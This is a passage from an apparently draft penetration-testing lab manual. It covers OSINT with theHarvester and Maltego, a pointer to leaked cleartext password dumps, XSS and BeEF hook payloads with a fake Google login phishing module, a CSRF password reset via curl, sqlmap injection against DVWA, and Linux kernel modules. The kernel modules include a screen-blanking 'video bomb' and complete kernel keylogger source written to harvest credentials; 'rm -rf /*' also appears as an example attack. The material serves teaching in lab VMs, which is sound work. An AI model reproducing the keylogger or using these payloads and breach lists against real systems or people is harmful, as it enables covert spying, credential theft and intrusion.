[include a screen shot]
Step 2 Run the following command in the linux terminal
theharvester -d microsoft -l 200 -b linkedin
This will list the first reasources that finds by searching linkedin
that are related to the microsoft domain.
[Include screen shot]

11.4 Maltego:
The first tool that we will look at is maltego is a liny analysis tool
that allows us to analyze links between entities. These entities
could be websites, domains, networks.
Let’s get started by setting up Maltego.
Step 1 Click on the maltego icon in Kali Linux.
[Include Screen Shot]
Step 2 Create an account. Don’t use your readdress. Use http:
//www.mailinator.com to create a fake email account.
[You you get blocked, download Opera and enable the VPN. http
s://www.opera.com/computer/features/free-vpn
[Include Screen Shot]
11.5 List of comprised passwords. 95

Step 3 Select the option to create a new graph.


[Include Screen]
Step 4 Add a domain entity to graph (enter mit.edu in the entity)
[Include Screen]
Step 5 Run all transforms on the entity.
[Include Screen Shot]
Step 6 Install the additonal transforms by selecting transforms
->TransformsHub (Install the haveibeenpwned tranform)
[Include Screen Shot]
Step 7: Go back to graph run the haveibeenpwnd. (Transform
on people that you have found)
[Screen Shot hide names]

11.5 List of comprised passwords.


Great you run maltego and have discovered that someone password
in contained in one of these list. The question now becomes. How
do you obtain this list? A list of “clear text” pwned passwords
are available here. https://github.com/philipperemy/tensor
flow-1.4-billion-password-analysis You will need a torrent
client.
###BONUS section: Great hackers write their own tools. See
if you could write a program that takes the email address that
are output by the harvester plugin and test them against, the
haveibeenpwned.com API. Here is the link to the API https:
//haveibeenpwned.com/API/v2 .
12
Moving through the network

12.1 Pivoting
##Domain controller In this lab we extend upd
##Golden Ticket Attacks (Kiwi)

97
13
Cross-Site Attacks

“Love all, trust a few, do wrong to none” - William Shakespeare, All’s Well

13.1 Background: Cross Site Scripting (XSS) Attacks


In this section we will look at two types of Cross Site Scripting
Attacks:
• Stored Cross Scripting Attacks: Malicious JavaScript is perma-
nently stored on a webpage.
• Reflected Cross Scripting Attacks: Malicious JavaScript is tem-
porally injected into a webpage.

13.1.1 Stored Cross Site Scripting Attacks


Step 1: Start your metasploitable virtual machine.
Step 2: Log into the machine: username: msfadmin, password:
msfadmin
Step 3: get the ip-address of the machine by running the ifconfig
command.
Step 4: Access the server by typing this IP-Address into the
browser.
Step 5: Click on the DVWA link
Step 6: Click on login using username: admin and password: pass-
word. (Yeah insecure I know)
Step 7: Set your security settings to low

99
100 13 Cross-Site Attacks

FIGURE 13.1: The figure above shows the log in page of DVWA

Step 8: Click on the tab labeled XSS stored.


Step 9: Type the following scripting in to the message box.
<script> alert("Hacked")</script>
Step 10: Save and post the message. Notice that message simply
get posted to web page without striping the tags, thus executing
the script and causing an alert box to pop up with Hacked in
it. Though being able to execute any arbitrary JavaScript in user
browser will allow a hacker to do very malicious things: like stealing
a user’s credentials or cookie.

13.1.2 Reflected Cross Site Scripting Attacks


Step 1: Open an new tab and type the IP-Address of your web
server in the tab.
Step 2: Click on DVWA link
Step 3: Click on the tab XSS reflected
13.2 XSS Beef Payload 101

Step 4: Type test in submission box.


Step 5: URL in the browser. Notice that query parameter is simply
reflected back on the page.
"http://mestaIPaddr/dvwa/vulnerabilities/xss\_r/?name=test#"
Where mestaIPaddr is the IP address you got from your metas-
ploitable machine
This means that we can craft a creative URL that will execute
some JavaScript on the page.
"http://mestaIPaddr/dvwa/vulnerabilities/xss\_r/?name=<script>alert("hacked")
Step 6: Copy the above URL into your browser and press run.
Step 7: Great you just executed your first sample cross Site Script-
ing attack.
Now let’s look at more interesting payloads.
A payload is a the program that an attack uses to control the machine. The te

13.2 XSS Beef Payload


Now that we understand how these cross-site scripting attacks
work. Let’s look at tool that allows hackers to deploy a malicious
payload and embed it an website.
Step 1: Start the Beef Cross Scripting by clicking the BEEF icon

Step 2: Once the framework starts you should see the screen be-
low:
If an attacker were to use the beef cross-site scripting framework
they would deploy it on a server that they have already compro-
mised. (so that the comprised machine could not be traced back to
102 13 Cross-Site Attacks

FIGURE 13.2: The figure above shows the start up terminal


window associated with beef XSS window

the attacker). In this lab we will simply deploy the beef framework
on our machine.
Step 3: Access the BeEF UI panel by opening Firefox and typing
http://127.0.0.1:3000/ui/panel
Step 4: You should see the UI screen below. Log-in to BeEF using
username: beef and password: beef.

Step 5: Copy the example script below. This contains the mali-
cious JavaScript:
<script src="127.0.0.1:3000/hook.js"> </script>
Step 5: Copy the example script below. This contains the mali-
cious
<script src="127.0.0.1:3000/hook.js"> </script>
This is a malicious script that we are going to use in our stored
cross- site scripting attack.
13.2 XSS Beef Payload 103

Step 6: Using the IP address obtained earlier navigate to DVWA


and login. This time instead of injecting:
<script>alert();<script>
<script src="127.0.0.1:3000/hook.js"> </script>
we are going to inject the script that loads the hook.js file above.
Step 7: Inject the script in the message box section of the page and
refresh the page. You have now compromised your own browser.
Step 8: Open a new tab and navigate to http://127.0.0.1:
3000/ui/panel
Step 9: You should now see your browser in the list of Online
browsers. Click on the IP-128.0.0.1 and Select the Commands Tabs
and Click on Social Engineering Folder Select Google Phishing
Attack. (This will replace the default webpage, with a Google log-
in screen. Once the user has entered the credentials, the log-in
screen will disappear)

FIGURE 13.3: Shows the Command and Control Section of the


google phishing attack

Step 10: Update the XSS hook URL to :


http://[Your−IP]/dvwa/vulnerabilities/xss_s/
This way once the user “logs-in” they will be redirected back to the
104 13 Cross-Site Attacks

guest book page.

FIGURE 13.4: The figure above shows the updated XSS URL
on the right

Step 11: Click Execute and Navigate back to the tab in which you
originally performed the exploit. You should see the fake Google
login screen below. You might have to go to basic demo page (to see
the fake Google login screen) by clicking the link under ‘Getting
Started’

FIGURE 13.5: Sample Fake Google Login Screen


13.3 Cross Site Request Forgery (CSRF) Attacks 105

Step 12: Enter the fake credentials username:test password:test

FIGURE 13.6: The figure above shows the credentials that have
been stolen using the phishing attack

Step 13: Click on command 1 in the Module Results History


Panel.

13.2.1 Automatically Scanning A Web-page for Cross-Site


Scripting Vulnerabilities
fix:To prevent these vulnerabilities from being exploited in your own
system you first need to be discover them.
In this section will look at a tool called XSSER that allow us to automat-
ically scan for Cross-Site Scripting vulnerabilities across.
Step 1: Open the terminal and start XSSER by typing the follow-
ing command:

13.3 Cross Site Request Forgery (CSRF) Attacks


The next attack that we will look at is the cross site request forgery at-
tack. In Cross Site Request Forgery Attack a user submits a request while
impersonating another user. [Need to have a cleaner definition]
Figure 4.10: Caption
Step 1: Start DVWA
Step 2: Click on CRSF tab.
Step 3: Complete the change password form using password:
106 13 Cross-Site Attacks

botTest. Do you notice anything unique about the URL? Notice


that password is included directly in the URL. This means that if
we can find a similar web application on the web. We can change
the default password by simply accessing that web-page

FIGURE 13.7: The figure above shows the change password form
and the new password in the URL

Step 4: Log out from DVWA by clicking the Logout button


Step 5: Open the terminal and change the password to ‘password1’
by executing the following command:
curl http://10.0.2.4/dvwa/vulnerabilities/csrf/?password_new=password1&passwo
Open the link the terminal outputs after you execute the above
command.
Step 6: Now try logging back into DVWA using the username,
‘admin’ and password you just reset.
13.3 Cross Site Request Forgery (CSRF) Attacks 107

FIGURE 13.8: Command to change the password of the user in


DVWAL
14
SQL Injection

“For the want of a nail the shoe was lost, For the want of a shoe
the horse was lost, For the want of a horse the rider was lost, For
the want of a rider the battle was lost, For the want of a battle the
kingdom was lost, And all for the want of a horseshoe-nail.”
- Benjamin Franklin

14.1 Background
In the previous lab we looked at the vsftpd ftp backdoor vulner-
ability that was maliciously injected into an open source imple-
mentation of a ftp server by hackers. What operating system or
services on machines don’t have any vulnerabilities? Then how do
you get access to machine? The Answer: through the web apps.
In this lab we will look at SQL Injection which is a vulnerability
that occurs when software developers incorrectly process parame-
ters that are used in SQL queries. SQL is a language that is used
to query tables in a database. For example, the following query
returns the first and last name for the user whose Social Security
Number is 555-5555-5555.

SELECT firstname, lastname from Users where SSN = ‘555-5555-5555’;

To allow for more generic queries a programmer might replace the


hard- coded SSN value of 555-5555-5555 with a variable$ id.

109
110 14 SQL Injection

SELECT firstname, lastname from Users where SSN = ‘$id’;

This would allow the program to return the first name and last
name for any value of$ id
Vulnerability:Since the program is simply inserting the command string
into the SQL query, a hacker can edit the query by injecting her own. For
example if the hacker sets the value of = `UNION SELECT username,
password from users where ‘’ = ’ injecting this for value for id will result
in following query:

SELECT firstname, lastname from Users where SSN = ‘’ UNION


SELECT username, password from users where ‘’ = ‘’;

The query SELECT firstname, lastname from Users where SSN =


‘’ will not return anything since there are no entries in the table
with blank SSNs. This result will then be unioned with the result
of the second query which returns the username and password for
all entries of the users since all enteries match the requirement ‘’
= ‘’.

14.2 Your first manual SQL injection attack


Goal:Use SQL injection to obtain the username and password for user of
DVWA (Dam Vunerable Web App) running on the metasploitable server.

14.2.1 Background
The Dam Vunerable Web App (DVWA) is a web application that
was built to showcase common web vunerablity. Before we can
exploit the vulnerable we need to place the web app in a vunerable
state. The DVWA is running on the metasploitable machine. So
we to connect the machine and place the app in the vunerable
state before we begin, the SQL injection attack.
14.4 Your first manual SQL injection attack 111

Step 1: Start up your metasploitable virtual machine and get its


IP address using ifconfig command. Type this IPaddress into the
browser.
Step 2: Login to DVWA using username: admin and password:
password.
Step 3: Click on the DVWA Security tab

Step 4: Set the security level to low.

FIGURE 14.1: The figure above shows the security level set to
low

Step 5: Click on the SQL Injection tab.


Step 6: Execute a sample SQL injection attack. (need to say more
here)
112 14 SQL Injection

14.3 Using SQLMap

14.4 Background.
Now that we have place DVWA in a vunerable state. We can now
use a project called SQL map to perform SQL injection on the web
app. This is a tool that is commonly used by attackers.
Step 1: Navigate to the SQL injection section tab in DVWA Linux
GOAL: We want to capture the URL that is associated with the SQL
injection.
Step 2: Open Developer Console by Clicking Ctrl-Shift-I. Click
on the network tab. (This will allow us to capture the request.
We could also use a proxy for this)
Step 3: Enter the value 1 in UserID box and click submit. Enter
a sample request.
Step 4: Select the GET request that was associated with the
submission and retrieve the url.
Step 5: You will also need the cookies that are associated with the
request when submitting the form. The cookie can be found in the
get request, within the cookie tab, or by inserting the command
“document.cookie” in the web console.
Step 6: To start SQLmap got to Applications→Database Assess-
ment→SQL Map
Step 7: Start SQLmap.
Step 8: Point SQL map at the URL discovered, with the cookie,
from your earlier capture as shown below
14.4 Background. 113

Select yes to the options below.


From our earlier test we know that ID parameter was vulnerable. So we
will stop our search here.
Take a look at some of the payloads: Pretty creative right.
15
Attacking A System Internally With Kernel
Modules

15.1 Context
This section of the manual focuses on attacks that can be launched
once an attacker is logged into a targeted machine. The immediate
goal is to elevate one’s own privileges.
regular user –> root user –> kernel level
This tutorial demonstrates how to insert code into the kernel with
root level privileges. Technically nothing in this section is an ex-
ploitation of a vulnerability. Everything here is “intended behav-
ior” on linux systems. However, user privilieges are generally kept
to a minimum for security reasons. Escalating one’s privileges al-
lows one to install software on the system, modify system configu-
ration, and access information.

15.2 Writing Your First LKM


“LKM” Stands for “Linux Kernel Module.” Kernel modules are a
sort of plugin system for the Linux kernel which allows develop-
ers to write C code that can be inserted and run in the kernel.
Because they are natively part of the kernel, few of the normal
programming paradigms that most developers are familiar with
are present. There is no such concept of a process, no file I/O, and
the standard libraries (e.g., unistd, stdio, and stdlib) one might
expect to find are not present in an LKM. Kernel modules are not

115
116 15 Attacking A System Internally With Kernel Modules

“run,” rather they are event driven. But, kernel modules run in a
sort of super-privilege state. They can literally access and change
anything in the system.
First, install the kernel headers for your system. These are neces-
sary for the alternative #include statements to be used for kernel
module development and to build / compile the module. For the
Kali linux system setup in virtualbox in the previous sections of
this book, this can be done via the package manager. Run the
command:
sudo apt install linux-headers-5.4.0-kali4-all
Create a folder hello_module and in that folder create two files
hello.c and Makefile
student@kali:~/hello_module$ tree
.
��� hello.c
��� Makefile

0 directories, 2 files

15.2.1 hello.c
#include <linux/module.h>
#include <linux/kernel.h>

static int __init startup(void){


printk(KERN_ALERT "Hello Kernel!\n");
return 0;
}

static void __exit shutdown(void){


printk(KERN_ALERT "Bye bye!\n");
}

module_init(startup);
module_exit(shutdown);
15.3 Build and Run 117

MODULE_LICENSE("GPL");
This is the bare minimum necessary code for a Linux kernel mod-
ule.

15.2.2 Makefile
obj-m += hello.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

15.3 Build and Run


To build your kernel module simply run make in the hello_module
directory.
student@kali:~/hello_module$ make
make -C /lib/modules/5.4.0-kali4-amd64/build M=/home/student/hello_module mod
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-kali4-amd64'
CC [M] /home/student/hello_module/hello.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/hello_module/hello.mod.o
LD [M] /home/student/hello_module/hello.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-kali4-amd64'
At this point the kernel module can be inserted, which is the closest
approximation we have to running. To insert your lkm, use sudo
insmod hello.ko Each time you insert the module, the __init
function is called and in this module, the printk() function dumps
the message “Hello Kernel!” to a few kernel logging files including
118 15 Attacking A System Internally With Kernel Modules

/var/log/syslog, /var/log/kern.log, and to the output gener-


ated by the dmesg command.

There are several other loglevel flags you can pass besides
KERN_ALERT which each have different semantic meaning.
• KERN_EMERG Emergency condition, system is probably dead
• KERN_ALERT Some problem has occurred, immediate atten-
tion is needed
• KERN_CRIT A critical condition
• KERN_ERR An error has occurred
• KERN_WARNING A warning
• KERN_NOTICE Normal message to take note of
• KERN_INFO Some information
• KERN_DEBUG Debug information related to the program
“lsmod” is a helpful tool that lists all currently loaded kernel mod-
ules.
When you remove your kernel module, the __exit function is
called and the other “Bye bye!” message is printed to the same
15.4 Video Bomb 119

places. To remove your lkm, use sudo rmmod hello. Note the in-
tentional absence of .ko
Further details for building your own LKMs can be found here:
http://tldp.org/LDP/lkmpg/2.6/html/c119.html

15.4 Video Bomb


One arbitrary but effective demonstration of the power that kernel
level control provides is to overwrite the video frame buffer data.
This can be used to hide the entire graphical user interface. This is
scary and works well in intimidating the user, but it also abandons
any attempt at stealth.
Create a new folder video_bomb_module and in that folder create
two files vbomb.c and Makefile
student@kali:~/video_bomb_module$ tree
.
��� Makefile
��� vbomb.c

0 directories, 2 files

15.4.1 Makefile
The Makefile is identical except for the minor change from hello.o
to vbomb.o on the first line.
obj-m += vbomb.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
120 15 Attacking A System Internally With Kernel Modules

15.4.2 vbomb.c
The video bomb code itself is much different, but it has the same
entry and exit points.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>

static void color_red(resource_size_t start, resource_size_t end)


{
unsigned int *p;
unsigned int i;
unsigned long size;

size = end - start;


p = ioremap(start, size); // Setup I/O mapping for the region of video me
if(p == NULL)
{
return;
}

printk(KERN_INFO "Painting region from %llx to %llx RED!\n", start, end);


for(i = 0; i < size / sizeof(int); i = i + 1)
{
p[i] = 0xFF0000; // Red!
}

static int __init startup(void)


{

unsigned int i;
struct pci_dev *dev;
struct resource resource;
15.4 Video Bomb 121

printk(KERN_ALERT "Video Bomb Starting...\n");

// Scan for VGA (display) devices


// https://www.kernel.org/doc/htmldocs/kernel-api/ch09s05.html
// wiki.osdev.org/PCI says that 0x0300 is Display Controllers
// also I found PCI_CLASS_DISPLAY_VGA = 0x0300
// the subclass 'VGA' is 0x0 so we can use << 8 to get
// 0x030000 which is 'class' concatenated with 'subclass'
dev = pci_get_class(PCI_CLASS_DISPLAY_VGA << 8, NULL);
if(dev != NULL)
{
//printk(KERN_INFO "device found!");
//printk(KERN_INFO "device num: %x device vendor: %x\n", dev->device
// The resources can tell us about memory that this PCI device has
// see pci.h code about the pci_dev struct which contains a resource[
// elixir.bootlin.com/linux/v5.4/source/include/linux/pci.h#L291
for(i = 0; i < DEVICE_COUNT_RESOURCE; i++)
{
resource = (dev)->resource[(i)];
//printk(KERN_INFO "resource name:%s start:%llx end:%llx\n", r
//printk(KERN_INFO "\tresource matches flag: %ld\n", (resource.fl

// Make sure that this resource describes I/O memory and is write
if(resource.flags & (IORESOURCE_MEM|IORESOURCE_MEM_WRITEABLE))
{
color_red(resource.start, resource.end);
}
}

}
else
{
printk(KERN_INFO "Device found was null!\n");
}

printk(KERN_ALERT "Video Bomb Done Loading\n");


122 15 Attacking A System Internally With Kernel Modules

return 0;
}

static void __exit shutdown(void){


printk(KERN_ALERT "Video Bomb Bye bye!\n");
}

module_init(startup);
module_exit(shutdown);

MODULE_LICENSE("GPL");
At this point you should be able to build and run. If you want you
can do that. But, before demonstrating that here in the manual,
let’s discuss some of the tricky / unfamiliar regions of the vbomb
code.

15.4.2.1 pic_get_class() & PCI resources

What we would like to do immediately is to change every (4-byte)


value in the region of video memory to the traditional RGB inte-
ger value for red (i.e., 0xFF0000). But, before doing that we must
find the appropriate region of memory (the ‘framebuffer’) that is
used to store the pixels currently on the screen. This is supris-
ingly complex because different computers have wildly different
display hardware (multi-monitors, internal and external graphics
cards, headless, etc). So, a reliable way to find all display devices
is to scan the PCI devices on the computer, searching for devices
that match the class DISPLAY_VGA using the pci_get_class()
function.
The pci_dev struct that is returned contains attributes called ‘re-
sources’ which describe various things about the device such as sta-
tus registers, DMA capabilities, ROM memory regions, and regular
I/O memory regions. These resources are parsed (by other parts
of the Linux Kernel) from the base address registers, and other
registers on the PCI device. Our code loops through all of the re-
sources and identifies any resources that describe an I/O memory
15.4 Video Bomb 123

region that is writeable. The boundaries of such memory regions


are passed to our color_red() function.
The relevant section of source code is displayed below without
comments to ease readability.
dev = pci_get_class(PCI_CLASS_DISPLAY_VGA << 8, NULL);
if(dev != NULL)
{
for(i = 0; i < DEVICE_COUNT_RESOURCE; i++)
{
resource = (dev)->resource[(i)];
if(resource.flags & (IORESOURCE_MEM|IORESOURCE_MEM_WRITEABLE))
{
color_red(resource.start, resource.end);
}
}
}
else
{
printk(KERN_INFO "Device found was null!\n");
}

15.4.2.2 color_red()

The color_red() function is used to put the value 0xFF0000 into


every integer (4-byte) section of a given memory region. Before
doing so, the ioremap() function is called in order to ‘remap’ the
memory. This effectively allocates a block of virtual memory that,
when accessed, redirects to the video memory of the display device
instead of to the main system memory (RAM). This is really only
relevant in that it allows our kernel module to access the video
memory using a pointer.
124 15 Attacking A System Internally With Kernel Modules

The video memory is effectively treated as a large bitmap / gif im-


age format. Each integer (4-byte) segment of memory corresponds
to one pixel on the screen. The pixel colors can be changed by
writing integer values according to the typical RGB scheme (Red
= 0xFF0000, Green = 0x00FF00, and Blue = 0x0000FF). So, in-
side the color_red() function, the memory region is traversed
and every element is written with the value 0xFF0000.

15.4.3 Build and Run


When you insert the module the video memory is identified and
painted red which redraws every pixel on the screen red. This is
quite disconcerting! Fortunately, the screen can still be re-drawn
afterwords by the benign applications that are still running. This
happens immediately for the shell program that was used to insert
the module. In the screenshot below the clock happened to update
as well before the screenshot was taken.
15.5 Video Bomb 125

You can easily recover from this state if you move the mouse
around, click blindly, and generally attempt to interact with the
UI, which is actually only hidden by the red color. Of course, it
has probably occured to you that you can modify this module to
do many more things besides painting the screen red.
WARNING Your milage may vary. The video bomb code has
been tested on a couple linux systems including the Kali linux
virtual machine setup used throughout this manual. However, it
has not been extensively tested and may crash or freeze linux ma-
chines with different hardware. It somewhat haphazardly assumes
that any / all memory found on all PCI VGA devices is safe to
color red. Actually, for different video cards memory might be used
for many other purposes in additiona to the frame buffer. Accord-
ing to the linux kernel paradigm a different kernel module should
be written for each video card.
126 15 Attacking A System Internally With Kernel Modules

15.5 Keylogger
One useful thing to do that is only possible from the kernel is to
intercept and record all key strokes made by the user. This can be
used to reveal for example, username + password combinations as
they are entered. By implementing a keylogger in the kernel, we
are able to intercept all keystrokes entered by the user stealthily,
and regardless of which application they’re using.
Create a new folder keylogger_module and in that folder create
two files keylogger.c and Makefile
student@kali:~/keylogger_module$ tree
.
��� Makefile
��� keylogger.c

0 directories, 2 files

15.5.1 Makefile
Again, the Makefile is identical except for the minor change from
hello.o to keylogger.o on the first line.
obj-m += keylogger.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

15.5.2 Keylogger Source Code


First we will need to define a mapping array, which maps numeric
‘key code’ values to characters (technically, these are strings in C).
15.5 Keylogger 127

static const char* keymap[] = { "\0", "ESC", "1", "2", "3", "4", "5", "6", "7
"q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "["
"g", "h", "j", "k", "l", ";", "'", "`", "_SHIFT_", "\

You may have already noticed that the values are roughly in the
order of a ‘qwerty’ keyboard layout. Of course, the actual layout of
the keyboard keys is irrelavent and varies by region and preference.
This is the reason for the key code –> string translation. Put
this keymap definition at the top of your keylogger.c file.
The __init and __exit methods in this module are very short.
They simply register and unregister, respectfully, a keyboard
notifier_block struct. You may have also noticed that the
__init and __exit methods in this module have different names
(‘start’ and ‘end’ instead of ‘startup’ and ‘shutdown’). These names
are arbitrary.
static int __init start(void)
{
register_keyboard_notifier(&nb);
printk(KERN_ALERT "Keyboard Module Loaded!\n");
return 0;
}

static void __exit end(void)


{
unregister_keyboard_notifier(&nb);
printk(KERN_ALERT "Module Unloaded!\n");
}
The keyboard notifier_block struct is an API mechanism pro-
vided by the kernel, which gives access to some keyboard function-
ality. The struct is defined in the module as shown below. Although
it’s very simple, the complete notifier_block struct defition can
be seen in the notifier.h1 source code. The struct definition speci-
1
https://elixir.bootlin.com/linux/v5.4/source/include/linux/n
otifier.h#L54
128 15 Attacking A System Internally With Kernel Modules

fies the attributes, but they are all NULL until a module (like ours)
specifies values, like we have done below for the notifier_call
attribute. Specifying values for predefined structs is a common
pattern when programming in the linux kernel.
int notify_keypress(struct notifier_block *nb, unsigned long code, void *_par
{
struct keyboard_notifier_param *param;

param = _param;
if(code == KBD_KEYCODE)
{
if(param->down)
{
if(param->value > 0 && param->value < 53)
{
printk(KERN_INFO "Key pressed: %s\n", keymap[param->value]);
}
}
}
return NOTIFY_OK;
}

static struct notifier_block nb = {


.notifier_call = notify_keypress
};
The notify_keypress function is straightforward. The param at-
tribute allows us to view details about the keypress event, which
are used to determine ‘keydown’ events and the ‘key code’. Other
details can be read as well including the shift key state, and the
keyboard LEDs keyboard_notifier_param2 . This module simply
dumps the key presses to the kernel logs. This is because file I/O
is generally frowned upon in the kernel. The principle reason for
this is that it is not safe to assume that the system on which
2
https://elixir.bootlin.com/linux/v5.4/source/include/linux/k
eyboard.h#L11
15.5 Keylogger 129

this kernel module is running has a filesystem at all (much less a


writeable filesystem)!

A malicious attacker can then periodically check the logs of the


vitcim system and reverse engineer the user’s actions, harvest login
credentials, and otherwise spy on the user. Although it is possible
to write the key presses to a file, and even transmit them back
to the attacker machine over the network it is outside the scope
of this chapter. Such functionality is reasonably complex in user-
space and is even more complex in kernel-space.

15.5.3 Complete Keylogger Module Source Code


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>

static const char* keymap[] = { "\0", "ESC", "1", "2", "3", "4", "5", "6", "7
130 15 Attacking A System Internally With Kernel Modules

"q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "["
"g", "h", "j", "k", "l", ";", "'", "`", "_SHIFT_", "\

int notify_keypress(struct notifier_block *nb, unsigned long code, void *_par


{
struct keyboard_notifier_param *param;

param = _param;
if(code == KBD_KEYCODE)
{
if(param->down)
{
if(param->value > 0 && param->value < 53)
{
printk(KERN_INFO "Key pressed: %s\n", keymap[param->value]);
}
}
}
return NOTIFY_OK;
}

static struct notifier_block nb = {


.notifier_call = notify_keypress
};

static int __init start(void)


{
register_keyboard_notifier(&nb);
printk(KERN_ALERT "Keyboard Module Loaded!\n");
return 0;
}
15.6 Logistics and Practicality 131

static void __exit end(void)


{
unregister_keyboard_notifier(&nb);
printk(KERN_ALERT "Module Unloaded!\n");
}

module_init(start);
module_exit(end);

MODULE_LICENSE("GPL");

15.6 Logistics and Practicality


These modules rely on the attacker gaining shell or GUI access to
the victim system. They can then deliver the source code, or a pre-
compiled module binary to the victim system. However, to actually
run / insert the module requires root level account credentials. To
protect against attacks like these, where an attacker essentially
modifies the operating system via a kernel module, root-level ac-
cess on systems is carefully martialled by system administrators
and savvy users. In fact, there are many other attacks that can
be performed once an attacker has root level access to a machine.
These very from extremely simplistic (rm -rf /*) to extremely
elaborate like these modules and many of the other attacks in this
book.
Gaining root level access to a system, even when not allowed by
system administrators, is addressed in chapters FIX ME, fill in
chapter references here.

You might also like